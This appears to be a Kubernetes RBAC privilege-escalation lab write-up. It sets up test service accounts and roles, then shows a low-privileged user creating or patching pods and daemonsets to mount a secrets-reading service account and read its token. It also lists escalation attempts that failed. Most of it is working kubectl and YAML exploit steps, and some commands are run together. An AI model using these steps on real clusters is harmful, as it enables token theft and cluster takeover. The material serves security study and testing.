A Service account "test-sa" with a cluster privilege to read secrets
A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
Permissions to list and create pods to a user called "Test" will be given
A Role "test-r" and RoleBinding "test-rb" will be created
Then we will confirm that the SA can list secrets and that the user Test can list a pods
Finally we will impersonate the user Test to create a pod that includes the SA test-sa and steal the service account token.
This is the way yo show the user could escalate privileges this way
To create the scenario an admin account is used.
Moreover, to exfiltrate the sa token in this example the admin account is used to exec inside the created pod. However, as explained here, the declaration of the pod could contain the exfiltration of the token, so the "exec" privilege is not necesario to exfiltrate the token, the "create" permission is enough.
# Create Service Account test-sa# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: ServiceAccount name: test-sa - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-crrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-crbsubjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: ""roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Check test-sa can access kube-system secretskubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetpods# Create a pod as user Test with the SA test-sa (privesc step)echo"apiVersion: v1kind: Podmetadata: name: test-pod namespace: defaultspec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletepodtest-podkubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Create Daemonset
# Create Service Account test-sa# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-crrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-crbsubjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: ""roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Check test-sa can access kube-system secretskubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetdaemonsets# Create a daemonset as user Test with the SA test-sa (privesc step)echo"apiVersion: apps/v1kind: DaemonSetmetadata: name: alpine namespace: defaultspec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Patch Daemonset
In this case we are going to patch a daemonset to make its pod load our desired service account.
If your user has the verb update instead of patch, this won't work.
# Create Service Account test-sa# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-crrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-crbsubjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: ""roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io---apiVersion: apps/v1kind: DaemonSetmetadata: name: alpine namespace: defaultspec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: automountServiceAccountToken: false hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep100']'|kubectlapply-f-# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetdaemonsets# Create a daemonset as user Test with the SA test-sa (privesc step)echo"apiVersion: apps/v1kind: DaemonSetmetadata: name: alpine namespace: defaultspec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Doesn't work
Create/Patch Bindings
Doesn't work:
Create a new RoleBinding just with the verb create
Create a new RoleBinding just with the verb patch (you need to have the binding permissions)
You cannot do this to assign the role to yourself or to a different SA
Modify a new RoleBinding just with the verb patch (you need to have the binding permissions)
You cannot do this to assign the role to yourself or to a different SA
echo'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---apiVersion: v1kind: ServiceAccountmetadata: name: test-sa2---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-r2rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rb2subjects: - kind: ServiceAccount name: test-sa apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Create a pod as user Test with the SA test-sa (privesc step)echo"apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-r2subjects: - kind: ServiceAccount name: test-sa2 apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeleterolebindingtest-rbkubectldeleterolebindingtest-rb2kubectldeleteroletest-rkubectldeleteroletest-r2kubectldeleteserviceaccounttest-sakubectldeleteserviceaccounttest-sa2
Bind explicitly Bindings
In the "Privilege Escalation Prevention and Bootstrapping" section of https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.
However, it didn't work for me:
# Create 2 SAs, give one of them permissions to create clusterrolebindings# and bind permissions over the ClusterRole "admin"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin"]---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crbsubjects: - kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Try to bind the ClusterRole "admin" with the second SA (won't work)echo 'apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crb2subjects: - kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Clean environmentkubectl delete clusterrolebindings test-crbkubectl delete clusterrolebindings test-crb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings# instead of CLusterRoleBindingsecho 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io"]resources: ["rolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin","edit","view"]---apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rbnamespace:defaultsubjects: - kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Won't workecho 'apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rb2namespace:defaultsubjects: - kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Clean environmentkubectl delete rolebindings test-rbkubectl delete rolebindings test-rb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa2
Arbitrary roles creation
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
# Create a SA and give the permissions "create" and "patch" over "roles"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---kind:RoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-rrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["roles"]verbs: ["patch","create","get"]---apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rbsubjects: - kind:ServiceAccountname:test-saroleRef:kind:Rolename:test-rapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Try to create a role over all the resources with "create" and "patch"# This won't wotrkecho 'kind:RoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-r2rules: - apiGroups: [""]resources: ["*"]verbs: ["patch","create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-# Clean the environmentkubectl delete rolebinding test-rbkubectl delete role test-rkubectl delete role test-r2kubectl delete serviceaccount test-sa